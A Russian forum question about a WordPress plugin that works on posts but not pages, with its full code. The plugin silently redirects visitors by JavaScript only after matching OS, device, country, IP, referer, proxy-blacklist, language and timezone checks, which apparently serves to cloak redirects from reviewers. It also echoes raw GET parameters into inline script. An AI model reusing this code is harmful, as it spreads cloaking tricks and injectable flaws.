wp плагин не работает на страницах

260
20 октября 2017, 15:18

Сделал небольшой плагин, он прекрасно работает, когда создаешь пост, но вообще не работает, когда создаешь страницу. В интернете не могу найти ничего по этому вопросу, даже на фл за деньги люди не берутся, подскажите хотя бы направление куда смотреть, чтобы исправить косяк

<?php 
function true_plugin_init() {
    wp_enqueue_style( 'fractionsliderstyle', plugins_url('/true-style.css', __FILE__) );
}
add_action( 'admin_init', 'true_plugin_init');
function ipcl_custom_box() {
        add_meta_box( 'ipcl_box_id', 'User Filter and Redirector - UFR', 'ipcl_meta_callback', 'post', 'normal', 'high');
        add_meta_box( 'ipcl_box_id', 'User Filter and Redirector - UFR', 'ipcl_meta_callback', 'page', 'normal', 'high');
}
add_action('add_meta_boxes', 'ipcl_custom_box');
function ipcl_meta_callback( $post ) {
    wp_nonce_field( basename( __FILE__ ), 'ipcl_nonce' );
    $ipcl_stored_meta = get_post_meta( $post->ID );
    ?>
  <!--  <div class="yell"><div class="mainh">Обязательные настройки</div><span class="ipcl_title"><?php _e( 'Введите серверное отклонение времени в формате GMT +- (Например: +5). Серверное время можно узнать у своего хостинг провайдера, либо в настройках сервера.', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="timezoneforyou">
            <input type="number" name="timezoneforyou" id="timezoneforyou" value="<?= @$ipcl_stored_meta['timezoneforyou'][0]; ?>" />
            <?php _e( '', 'ipcl-textdomain' )?>
        </label>
        </div></div> -->
<div class="yell"><div class="mainh">Дополнительные проверки (ограничение 500 запросов в день)</div>
    <span class="ipcl_title"><?php _e( 'Проверка IP на блеклист', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="VKLIP">
            <input type="radio" name="VK_Q" id="VKLIP" value="1" <?php if ( $ipcl_stored_meta['VK_Q'][0] == 1 ) { echo 'checked="checked"'; }  ?> />
            <?php _e( 'Включить', 'ipcl-textdomain' )?>
        </label>
        <label for="VUKLIP">
            <input type="radio" name="VK_Q" id="VUKLIP" value="2" <?php if ( $ipcl_stored_meta['VK_Q'][0] == 2 ) { echo 'checked="checked"'; }  ?> />
            <?php _e( 'Выключить', 'ipcl-textdomain' )?>
        </label>
            </div></div>
<div class="yell"><div class="mainh">Блок соответствий</div>
    <span class="ipcl_title"><?php _e( 'Выберите операционные системы', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="Windows10">
            <input type="checkbox" name="Windows10" id="Windows10" value="1" <?php if ( isset ( $ipcl_stored_meta['Windows10'] ) ) checked( $ipcl_stored_meta['Windows10'][0], 'Windows 10' ); ?> />
            <?php _e( 'Windows 10', 'ipcl-textdomain' )?>
        </label>
        <label for="Windows81">
            <input type="checkbox" name="Windows81" id="Windows81" value="1" <?php if ( isset ( $ipcl_stored_meta['Windows81'] ) ) checked( $ipcl_stored_meta['Windows81'][0], 'Windows 8.1' ); ?> />
            <?php _e( 'Windows 8.1', 'ipcl-textdomain' )?>
        </label>
        <label for="Windows8">
            <input type="checkbox" name="Windows8" id="Windows8" value="1" <?php if ( isset ( $ipcl_stored_meta['Windows8'] ) ) checked( $ipcl_stored_meta['Windows8'][0], 'Windows 8' ); ?> />
            <?php _e( 'Windows 8', 'ipcl-textdomain' )?>
        </label>
        <label for="Windows7">
            <input type="checkbox" name="Windows7" id="Windows7" value="1" <?php if ( isset ( $ipcl_stored_meta['Windows7'] ) ) checked( $ipcl_stored_meta['Windows7'][0], 'Windows 7' ); ?> />
            <?php _e( 'Windows 7', 'ipcl-textdomain' )?>
        </label>
        <label for="WindowsVista">
            <input type="checkbox" name="WindowsVista" id="WindowsVista" value="1" <?php if ( isset ( $ipcl_stored_meta['WindowsVista'] ) ) checked( $ipcl_stored_meta['WindowsVista'][0], 'Windows Vista' ); ?> />
            <?php _e( 'Windows Vista', 'ipcl-textdomain' )?>
        </label>
        <label for="MacOS">
            <input type="checkbox" name="MacOS" id="MacOS" value="1" <?php if ( isset ( $ipcl_stored_meta['MacOS'] ) ) checked( $ipcl_stored_meta['MacOS'][0], 'MacOS' ); ?> />
            <?php _e( 'MacOS', 'ipcl-textdomain' )?>
        </label>
        <label for="iOS">
            <input type="checkbox" name="iOS" id="iOS" value="1" <?php if ( isset ( $ipcl_stored_meta['iOS'] ) ) checked( $ipcl_stored_meta['iOS'][0], 'iOS' ); ?> />
            <?php _e( 'iOS', 'ipcl-textdomain' )?>
        </label>
        <label for="Android">
            <input type="checkbox" name="Android" id="Android" value="1" <?php if ( isset ( $ipcl_stored_meta['Android'] ) ) checked( $ipcl_stored_meta['Android'][0], 'Android' ); ?> />
            <?php _e( 'Android', 'ipcl-textdomain' )?>
        </label>
        <label for="Linux">
            <input type="checkbox" name="Linux" id="Linux" value="1" <?php if ( isset ( $ipcl_stored_meta['Linux'] ) ) checked( $ipcl_stored_meta['Linux'][0], 'Linux' ); ?> />
            <?php _e( 'Linux', 'ipcl-textdomain' )?>
        </label>
        <label for="Ubuntu">
            <input type="checkbox" name="Ubuntu" id="Ubuntu" value="1" <?php if ( isset ( $ipcl_stored_meta['Ubuntu'] ) ) checked( $ipcl_stored_meta['Ubuntu'][0], 'Ubuntu' ); ?> />
            <?php _e( 'Ubuntu', 'ipcl-textdomain' )?>
        </label>
    </div>
    <span class="ipcl_title"><?php _e( 'Выберите тип устройства', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="Desktop">
            <input type="checkbox" name="Desktop" id="Desktop" value="1" <?php if ( isset ( $ipcl_stored_meta['Desktop'] ) ) checked( $ipcl_stored_meta['Desktop'][0], '1' ); ?> />
            <?php _e( 'Desktop', 'ipcl-textdomain' )?>
        </label>
        <label for="Mobile">
            <input type="checkbox" name="Mobile" id="Mobile" value="1" <?php if ( isset ( $ipcl_stored_meta['Mobile'] ) ) checked( $ipcl_stored_meta['Mobile'][0], '2' ); ?> />
            <?php _e( 'Mobile', 'ipcl-textdomain' )?>
        </label>
        <label for="Tablet">
            <input type="checkbox" name="Tablet" id="Tablet" value="1" <?php if ( isset ( $ipcl_stored_meta['Tablet'] ) ) checked( $ipcl_stored_meta['Tablet'][0], '2' ); ?> />
            <?php _e( 'Tablet', 'ipcl-textdomain' )?>
        </label>
    </div>
    <span class="ipcl_title"><?php _e( 'Выберите страну', 'ipcl-textdomain' )?></span><a target="_blank" href="../wp-content/plugins/UFR/cs.html" >Список</a>
    <!-- <div class="ipcl_wrap">
        <label for="Россия">
            <input type="checkbox" name="Russia" id="Russia" value="1" <?php if ( isset ( $ipcl_stored_meta['Russia'] ) ) checked( $ipcl_stored_meta['Russia'][0], 'Russia' ); ?> />
            <?php _e( 'Россия', 'ipcl-textdomain' )?>
        </label>
        <label for="Украина">
            <input type="checkbox" name="Ukraine" id="Ukraine" value="1" <?php if ( isset ( $ipcl_stored_meta['Ukraine'] ) ) checked( $ipcl_stored_meta['Ukraine'][0], 'Ukraine' ); ?> />
            <?php _e( 'Украина', 'ipcl-textdomain' )?>
        </label>
    </div> 
    <span class="ipcl_title"><?php _e( 'Любые страны на англ. языке, через запятую', 'ipcl-textdomain' )?></span> -->
    <div class="ipcl_wrap">
        <label for="AnyCountry">
            <textarea name="AnyCountry" id="AnyCountry" rows="2" ><?php if(isset($ipcl_stored_meta['AnyCountry'][0])) { echo $ipcl_stored_meta['AnyCountry'][0]; } ?></textarea>
            <?php _e( '', 'ipcl-textdomain' )?>
        </label>
    </div>
    <span class="ipcl_title"><?php _e( 'Проверка на соответствие предпочтительного языка пользователя языку страны по ip', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="VKLIP2">
            <input type="radio" name="VK_Q2" id="VKLIP2" value="1" <?php if ( $ipcl_stored_meta['VK_Q2'][0] == 1 ) { echo 'checked="checked"'; }  ?> />
            <?php _e( 'Включить', 'ipcl-textdomain' )?>
        </label>
        <label for="VUKLIP2">
            <input type="radio" name="VK_Q2" id="VUKLIP2" value="2" <?php if ( $ipcl_stored_meta['VK_Q2'][0] == 2 ) { echo 'checked="checked"'; }  ?> />
            <?php _e( 'Выключить', 'ipcl-textdomain' )?>
        </label>
    </div>
    <span class="ipcl_title"><?php _e( 'Считать русский язык доп. языком для СНГ?', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="VKLIP3">
            <input type="radio" name="VK_Q3" id="VKLIP3" value="1" <?php if ( $ipcl_stored_meta['VK_Q3'][0] == 1 ) { echo 'checked="checked"'; }  ?> />
            <?php _e( 'Да', 'ipcl-textdomain' )?>
        </label>
        <label for="VUKLIP3">
            <input type="radio" name="VK_Q3" id="VUKLIP3" value="2" <?php if ( $ipcl_stored_meta['VK_Q3'][0] == 2 ) { echo 'checked="checked"'; }  ?> />
            <?php _e( 'Нет', 'ipcl-textdomain' )?>
        </label>
    </div></div><div class="yell"><div class="mainh">Блок исключений</div>
    <span class="ipcl_title"><?php _e( 'Введите IP адреса через запятую', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="Ipexcludes">
            <textarea name="Ipexcludes" id="Ipexcludes" rows="3" ><?= @$ipcl_stored_meta['Ipexcludes'][0]; ?></textarea>
            <?php _e( '', 'ipcl-textdomain' )?>
        </label>
    </div>
    <span class="ipcl_title"><?php _e( 'Введите 1 и более User Agent в любом формате', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="UserAgentexcludes">
            <textarea  name="UserAgentexcludes" id="UserAgentexcludes" rows="10" ><?= @$ipcl_stored_meta['UserAgentexcludes'][0]; ?></textarea>
            <?php _e( '', 'ipcl-textdomain' )?>
        </label>
    </div>
    <span class="ipcl_title"><?php _e( 'Введите REFERER ссылки/имена', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="UserRef">
            <textarea  name="UserRef" id="UserRef" rows="5" ><?= @$ipcl_stored_meta['UserRef'][0]; ?></textarea>
            <?php _e( '', 'ipcl-textdomain' )?>
        </label>
    </div>
    <span class="ipcl_title"><?php _e( 'Введите GET параметры', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="userget">
            <textarea  name="userget" id="userget" rows="6" ><?= @$ipcl_stored_meta['userget'][0]; ?></textarea>
            <?php _e( '', 'ipcl-textdomain' )?>
        </label>
        </div></div>
    <div class="yell"><div class="mainh">Цель исключений</div>
    <span class="ipcl_title"><?php _e( 'Куда отправить пользователя при соблюдении всех условий?', 'ipcl-textdomain' )?></span>
    <div class="ipcl_wrap">
        <label for="uredirected">
            <input type="text" name="uredirected" id="uredirected" value="<?= @$ipcl_stored_meta['uredirected'][0]; ?>" />
            <?php _e( '', 'ipcl-textdomain' )?>
        </label>
            </div></div>
    <?php }
function ipcl_meta_save( $post_id ) {
    $is_autosave = wp_is_post_autosave( $post_id );
    $is_revision = wp_is_post_revision( $post_id );
    $is_valid_nonce = ( isset( $_POST[ 'ipcl_nonce' ] ) && wp_verify_nonce( $_POST[ 'ipcl_nonce' ], basename( __FILE__ ) ) ) ? 'true' : 'false';
    if ( $is_autosave || $is_revision || !$is_valid_nonce ) {
        return;
    }
    if( isset( $_POST[ 'Windows10' ] ) ) {
        update_post_meta( $post_id, 'Windows10', 'Windows 10' );
    } else {
        update_post_meta( $post_id, 'Windows10', '' );
    }
    if( isset( $_POST[ 'Windows8' ] ) ) {
        update_post_meta( $post_id, 'Windows8', 'Windows 8' );
    } else {
        update_post_meta( $post_id, 'Windows8', '' );
    }
    if( isset( $_POST[ 'Windows81' ] ) ) {
        update_post_meta( $post_id, 'Windows81', 'Windows 8.1' );
    } else {
        update_post_meta( $post_id, 'Windows81', '' );
    }
    if( isset( $_POST[ 'Windows7' ] ) ) {
        update_post_meta( $post_id, 'Windows7', 'Windows 7' );
    } else {
        update_post_meta( $post_id, 'Windows7', '' );
    }
    if( isset( $_POST[ 'WindowsVista' ] ) ) {
        update_post_meta( $post_id, 'WindowsVista', 'Windows Vista' );
    } else {
        update_post_meta( $post_id, 'WindowsVista', '' );
    }
    if( isset( $_POST[ 'MacOS' ] ) ) {
        update_post_meta( $post_id, 'MacOS', 'MacOS' );
    } else {
        update_post_meta( $post_id, 'MacOS', '' );
    }
    if( isset( $_POST[ 'iOS' ] ) ) {
        update_post_meta( $post_id, 'iOS', 'iOS' );
    } else {
        update_post_meta( $post_id, 'iOS', '' );
    }
    if( isset( $_POST[ 'Android' ] ) ) {
        update_post_meta( $post_id, 'Android', 'Android' );
    } else {
        update_post_meta( $post_id, 'Android', '' );
    }
    if( isset( $_POST[ 'Linux' ] ) ) {
        update_post_meta( $post_id, 'Linux', 'Linux' );
    } else {
        update_post_meta( $post_id, 'Linux', '' );
    }
    if( isset( $_POST[ 'Ubuntu' ] ) ) {
        update_post_meta( $post_id, 'Ubuntu', 'Ubuntu' );
    } else {
        update_post_meta( $post_id, 'Ubuntu', '' );
    }
    if( isset( $_POST[ 'Desktop' ] ) ) {
        update_post_meta( $post_id, 'Desktop', '1' );
    } else {
        update_post_meta( $post_id, 'Desktop', '' );
    }
    if( isset( $_POST[ 'Mobile' ] ) ) {
        update_post_meta( $post_id, 'Mobile', '2' );
    } else {
        update_post_meta( $post_id, 'Mobile', '' );
    }
    if( isset( $_POST[ 'Tablet' ] ) ) {
        update_post_meta( $post_id, 'Tablet', '2' );
    } else {
        update_post_meta( $post_id, 'Tablet', '' );
    }
    if( isset( $_POST[ 'Russia' ] ) ) {
        update_post_meta( $post_id, 'Russia', 'Russia' );
    } else {
        update_post_meta( $post_id, 'Russia', '' );
    }
    if( isset( $_POST[ 'Ukraine' ] ) ) {
        update_post_meta( $post_id, 'Ukraine', 'Ukraine' );
    } else {
        update_post_meta( $post_id, 'Ukraine', '' );
    }
    if( isset( $_POST[ 'Ipexcludes' ] ) ) {
        update_post_meta( $post_id, 'Ipexcludes', $_POST['Ipexcludes'] );
    } else {
        update_post_meta( $post_id, 'Ipexcludes', '' );
    }
    if( isset( $_POST[ 'UserAgentexcludes' ] ) ) {
        update_post_meta( $post_id, 'UserAgentexcludes', $_POST['UserAgentexcludes'] );
    } else {
        update_post_meta( $post_id, 'UserAgentexcludes', '' );
    }
    if( isset( $_POST[ 'UserRef' ] ) ) {
        update_post_meta( $post_id, 'UserRef', $_POST['UserRef'] );
    } else {
        update_post_meta( $post_id, 'UserRef', '' );
    }
    if( isset( $_POST[ 'userget' ] ) ) {
        update_post_meta( $post_id, 'userget', $_POST['userget'] );
    } else {
        update_post_meta( $post_id, 'userget', '' );
    }
    if( isset( $_POST[ 'uredirected' ] ) ) {
        update_post_meta( $post_id, 'uredirected', $_POST['uredirected'] );
    } else {
        update_post_meta( $post_id, 'uredirected', '' );
    }
    if( isset( $_POST[ 'timezoneforyou' ] ) ) {
        update_post_meta( $post_id, 'timezoneforyou', $_POST['timezoneforyou'] );
    } else {
        update_post_meta( $post_id, 'timezoneforyou', '' );
    }
    if( isset( $_POST[ 'VK_Q' ] ) ) {
        update_post_meta( $post_id, 'VK_Q', $_POST['VK_Q'] );
    } else {
        update_post_meta( $post_id, 'VK_Q', '' );
    }
    if( isset( $_POST[ 'VK_Q2' ] ) ) {
        update_post_meta( $post_id, 'VK_Q2', $_POST['VK_Q2'] );
    } else {
        update_post_meta( $post_id, 'VK_Q2', '' );
    }
    if( isset( $_POST[ 'VK_Q3' ] ) ) {
        update_post_meta( $post_id, 'VK_Q3', $_POST['VK_Q3'] );
    } else {
        update_post_meta( $post_id, 'VK_Q3', '' );
    }
    if( isset( $_POST[ 'AnyCountry' ] ) ) {
        update_post_meta( $post_id, 'AnyCountry', $_POST['AnyCountry'] );
    } else {
        update_post_meta( $post_id, 'AnyCountry', '' );
    }
}
add_action( 'save_post', 'ipcl_meta_save' );

add_filter( 'the_content', 'wfm_sign_content' );
function wfm_sign_content($content){
if( !is_single() && !is_page()) return $content;
    $meta_value = get_post_meta( get_the_ID(), 'meta-text', true );
    if( !empty( $meta_value ) ) {
       // echo $meta_value;
    }
// Извлекаем данные ---------------------------------------------------------------------------------------------------------------------------------
    $ipcl_data = get_post_custom();
    $ipcl_win10 = @$ipcl_data['Windows10'][0];
    $ipcl_win81 = @$ipcl_data['Windows81'][0];
    $ipcl_win8 = @$ipcl_data['Windows8'][0];
    $ipcl_win7 = @$ipcl_data['Windows7'][0];
    $ipcl_winVista = @$ipcl_data['WindowsVista'][0];
    $ipcl_winMacOS = @$ipcl_data['MacOS'][0];
    $ipcl_winAndroid = @$ipcl_data['Android'][0];
    $ipcl_winiOS = @$ipcl_data['iOS'][0];
    $ipcl_winUbuntu = @$ipcl_data['Ubuntu'][0];
    $ipcl_winLinux = @$ipcl_data['Linux'][0];
    $ipcl_Desktop = @$ipcl_data['Desktop'][0];
    $ipcl_Mobile = @$ipcl_data['Mobile'][0];
    $ipcl_Tablet = @$ipcl_data['Tablet'][0];
    $ipcl_Russia = @$ipcl_data['Russia'][0];
    $ipcl_Ukraine = @$ipcl_data['Ukraine'][0];
    $ipcl_Ipexcludes = @$ipcl_data['Ipexcludes'][0];
    $ipcl_UserAgentexcludes = @$ipcl_data['UserAgentexcludes'][0];
    $ipcl_UserAnyCountry = @$ipcl_data['AnyCountry'][0];
    $ipcl_UserRef = @$ipcl_data['UserRef'][0];
    $ipcl_userget = @$ipcl_data['userget'][0];
    $ipcl_uredirected = @$ipcl_data['uredirected'][0];
    $ipcl_timezoneforyou = @$ipcl_data['timezoneforyou'][0];
    $ipcl_VK_Q = @$ipcl_data['VK_Q'][0];
    $ipcl_VK_Q2 = @$ipcl_data['VK_Q2'][0];
    $ipcl_VK_Q3 = @$ipcl_data['VK_Q3'][0];
// Данные извлечены ---------------------------------------------------------------------------------------------------------------------------------
$ipcl_data = get_post_custom();
$redir_error = 0;
// Ищем ОС ------------------------------------------------------------------------------------------------------------------------------------------
function getOS() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $os_platform = "Unknown OS Platform";
    $os_array = array(
                        '/windows nt 10.0/i'    =>  'Windows 10',
                        '/windows nt 6.3/i'     =>  'Windows 8.1',
                        '/windows nt 6.2/i'     =>  'Windows 8',
                        '/windows nt 6.1/i'     =>  'Windows 7',
                        '/windows nt 6.0/i'     =>  'Windows Vista',
                        '/windows nt 5.2/i'     =>  'Windows Server 2003/XP     x64',
                        '/windows nt 5.1/i'     =>  'Windows XP',
                        '/windows xp/i'         =>  'Windows XP',
                        '/windows nt 5.0/i'     =>  'Windows 2000',
                        '/windows me/i'         =>  'Windows ME',
                        '/win98/i'              =>  'Windows 98',
                        '/win95/i'              =>  'Windows 95',
                        '/win16/i'              =>  'Windows 3.11',
                        '/macintosh|mac os x/i' =>  'MacOS',
                        '/mac_powerpc/i'        =>  'MacOS',
                        '/linux/i'              =>  'Linux',
                        '/ubuntu/i'             =>  'Ubuntu',
                        '/iphone/i'             =>  'iOS',
                        '/ipod/i'               =>  'iOS',
                        '/ipad/i'               =>  'iOS',
                        '/android/i'            =>  'Android',
                        '/blackberry/i'         =>  'BlackBerry',
                        '/webos/i'              =>  'Mobile'
                    );
    foreach ($os_array as $regex => $value) { 
        if (preg_match($regex, $user_agent)) {
            $os_platform = $value;
            }
    }   
    return $os_platform;
}
$user_os = getOS();
if ($user_os == $ipcl_win10 || $user_os == $ipcl_win8 || $user_os == $ipcl_win81 || $user_os == $ipcl_win7 || $user_os == $ipcl_winVista || $user_os == $ipcl_winMacOS || $user_os == $ipcl_winAndroid || $user_os == $ipcl_winiOS || $user_os == $ipcl_winUbuntu || $user_os == $ipcl_winLinux ) {
    $redir_error += 1;
}
if (empty($ipcl_win10) && empty($ipcl_win8) && empty($ipcl_win7) && empty($ipcl_winVista) && empty($ipcl_winMacOS) && empty($ipcl_winAndroid) && empty($ipcl_winiOS) && empty($ipcl_winUbuntu) && empty($ipcl_winLinux) && empty($ipcl_win81)) {
    $redir_error += 1;
}

function pda(){
    $user_agent2 = $_SERVER['HTTP_USER_AGENT']; 
    $user_device_type = 1;
    $device_arrays = array(
        '/MIDP/i','/FLY-/i','/MMP/i','/Mobile/i','/MOT-/i',
        '/Nokia/i','/Obigo/i','/Panasonic/i','/PPC/i',
        '/ReqwirelessWeb/i','/Samsung/i','/SEC-SGH/i',
        '/Smartphone/i','/SonyEricsson/i','/Symbian/i',
        '/WAP Browser/i','/j2me/i','/BREW/i', '/iPod/i', '/iPhone/i'
    );
    foreach ($device_arrays as $regex) { 
        if (preg_match($regex, $user_agent2)) {
            $user_device_type = 2;
        }
    }
    return $user_device_type;
}
    $user_device = pda();
if ($user_device == $ipcl_Desktop || $user_device == $ipcl_Mobile || $user_device == $ipcl_Tablet) {
    $redir_error += 1;
}
if (empty($ipcl_Desktop) && empty($ipcl_Mobile) && empty($ipcl_Tablet)) {
    $redir_error += 1;
} 

$ccsa = 0;
try { $eqaxa = geoip_detect2_get_info_from_current_ip(); } catch (Error $e) {
    $ccsa = 1;
}
if ($ccsa == 0) {
    $geoip = geoip_detect2_get_info_from_current_ip();
    $locusercountry = $geoip->country->names['en'];
 if(!empty($ipcl_UserAnyCountry)) {
    $loccheck = preg_match('/'.$locusercountry.'/i', $ipcl_UserAnyCountry); }
if (@$loccheck == 1) {
    $redir_error += 1;
}
if (!empty($locusercountry)) {
if ($locusercountry == $ipcl_Russia || $locusercountry == $ipcl_Ukraine) {
    $redir_error += 1;
        if (@$loccheck == 1) {
            $redir_error -= 1;
        }
} }
if (empty($ipcl_UserAnyCountry)) {
        if (empty($ipcl_Russia)) {
            if (empty($ipcl_Ukraine)) {
                $redir_error += 1;
            }
        }
}
} else { $redir_error += 1; }
$user_agent3 = $_SERVER['REMOTE_ADDR'];
   if(!empty($ipcl_Ipexcludes)) {
       $ipsame = preg_match('/'.$user_agent3.'/i', $ipcl_Ipexcludes); 
    }
if (@$ipsame !== 1) {
    $redir_error += 1;
}

$user_agent4 = $_SERVER['HTTP_USER_AGENT']; 
   if(!empty($ipcl_UserAgentexcludes)) {
       $ussame = preg_match('/'.preg_quote($user_agent4, '/').'/i', $ipcl_UserAgentexcludes); 
    }
if (@$ussame !== 1) {
    $redir_error += 1;
}
$user_agent5 = @$_SERVER['HTTP_REFERER'];
$regexpe = '#http://(www\.)?(.*?)/#is';
preg_match($regexpe, $user_agent5, $rezx);
@$user_agent5 = $rezx[2];
    if(!empty($ipcl_UserRef)) {
       $ureff = preg_match('/'.preg_quote($user_agent5, '/').'/i', $ipcl_UserRef); 
    }
if (@$ureff !== 1) {
    $redir_error += 1;
}
@$user_agent6 = @$_GET;
$makeastring = implode(",", $user_agent6);
$pieces = explode(PHP_EOL, $ipcl_userget);
if (!empty($ipcl_userget)) {
    foreach($user_agent6 as $key => $value) {
            $resget[] = preg_match('/'.$value.'/i', $ipcl_userget); }
    $lko = 0;
    foreach($resget as $key) {
        if ($key == 1) {
            $lko = $lko + 1;
        }  }
        if ($lko == 0) {  
            $redir_error += 1;
            }
} else { $redir_error += 1; }
// Проверка завершена ---------------------------------------------------------------------------------------------------------------------------------
// Отправка запросов на проверу IP в блеклист ---------------------------------------------------------------------------------------------------------
$proxyparam = array ('ip' => $user_agent3, 'contact' => 'some@some.com', 'flags' => 'f' );
$get_proxyparam = http_build_query($proxyparam);
@$proxygo = json_decode(file_get_contents('http://check.getipintel.net/check.php?'. $get_proxyparam));
    if (@$ipcl_VK_Q == 1) {
        if ($proxygo == 0) {
            $redir_error += 1;
        } } else { $redir_error += 1; }
// Отправка завершена ---------------------------------------------------------------------------------------------------------------------------------
// Проверка языка пользователя ------------------------------------------------------------------------------------------------------------------------
if ($ccsa == 0) {
    $geoip2 = geoip_detect2_get_info_from_current_ip();
    $locuserlang = $geoip->raw['registered_country']['iso_code'];
 if(!empty($ipcl_VK_Q2)) {
     if ($ipcl_VK_Q2 == 1) {
         if (isset($ipcl_VK_Q3)) {
             if ($ipcl_VK_Q3 == 1) {
                 $loccheck2 = preg_match('/^ru/i', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
                  if ($loccheck2 == 0) {
                      $loccheck2 = preg_match('/^'.$locuserlang.'/i', $_SERVER['HTTP_ACCEPT_LANGUAGE']);  
                  }
             } elseif ($ipcl_VK_Q3 == 2) { $loccheck2 = preg_match('/^'.$locuserlang.'/i', $_SERVER['HTTP_ACCEPT_LANGUAGE']); }
         } else { $loccheck2 = preg_match('/^'.$locuserlang.'/i', $_SERVER['HTTP_ACCEPT_LANGUAGE']); }
if (@$loccheck2 == 1) {
    $redir_error += 1;
} } elseif ($ipcl_VK_Q2 == 2) { $redir_error += 1; } }
if (empty($ipcl_VK_Q2)) {
    $redir_error += 1;
    }
} else { $redir_error += 1; }    
// Отправка завершена ---------------------------------------------------------------------------------------------------------------------------------
// DO NOT TOUCH ITS FOR TEST ----------
$qaz = '?';
foreach(@$_GET as $key => $value) {
    $qaz = $qaz.$key.'='.$value.'&'; }
$qazQQ = preg_replace('/\?p=\d+\&/i', '?', $qaz);
if ($redir_error == 9) { 
    if (isset($ipcl_VK_Q)) {
        if ($ipcl_VK_Q == 1) { ?>
           <script>
               var tt = 0
                var d = new Date();
               var n = d.getTime()/1000;
               var currentTimeZoneOffsetInHours = d.getTimezoneOffset() / 60;
        var e = Math.round((n/60/60/60/24/365) - currentTimeZoneOffsetInHours);
        var s = <?php echo $_SERVER['REQUEST_TIME']; ?>;
        var r = Math.round((s/60/60/60/24/365) + <?php if (!empty($ipcl_timezoneforyou)) { echo $ipcl_timezoneforyou; } else { echo "5"; } ?>);
        var lefin = (n - s)/60/60;
        var xxx = e - r;
        if (lefin > -0.1 && lefin < 0.1) {
            if ( xxx > -0.1 && xxx < 0.1) {
                var tt = 1
            } else {
                var tt = 2
            }
        } else { var tt = 2 }
               if (tt == 1) {
                    document.location.href='<?= $ipcl_uredirected.$qazQQ ?>';
               }; </script> <?php
        } elseif ($ipcl_VK_Q == 2) { ?> <script> document.location.href='<?= $ipcl_uredirected.$qazQQ; ?>'; </script> <?php } 
    } else { ?>
        <script> document.location.href='<?= $ipcl_uredirected.$qazQQ; ?>'; </script>
<?php } }
return $content; }
?>
READ ALSO
header не работает

header не работает

header("Location: /cabinet"); а должен осуществиться переход на CabinetController, но это не работает, те

187
foreach возврощает всегда первую линию

foreach возврощает всегда первую линию

Начал писать собственный template class для своего сайта, весь класс работает, теперь начал писать вывод массива в шаблон и тут мне возвращает правильное...

228
Долгая разархивация ZipArchive

Долгая разархивация ZipArchive

Использую $zip = new ZipArchive(); Очень долго разархивирует маленький архив, иногда по времени не успеваетВ чем может быть причина или так и должно...

236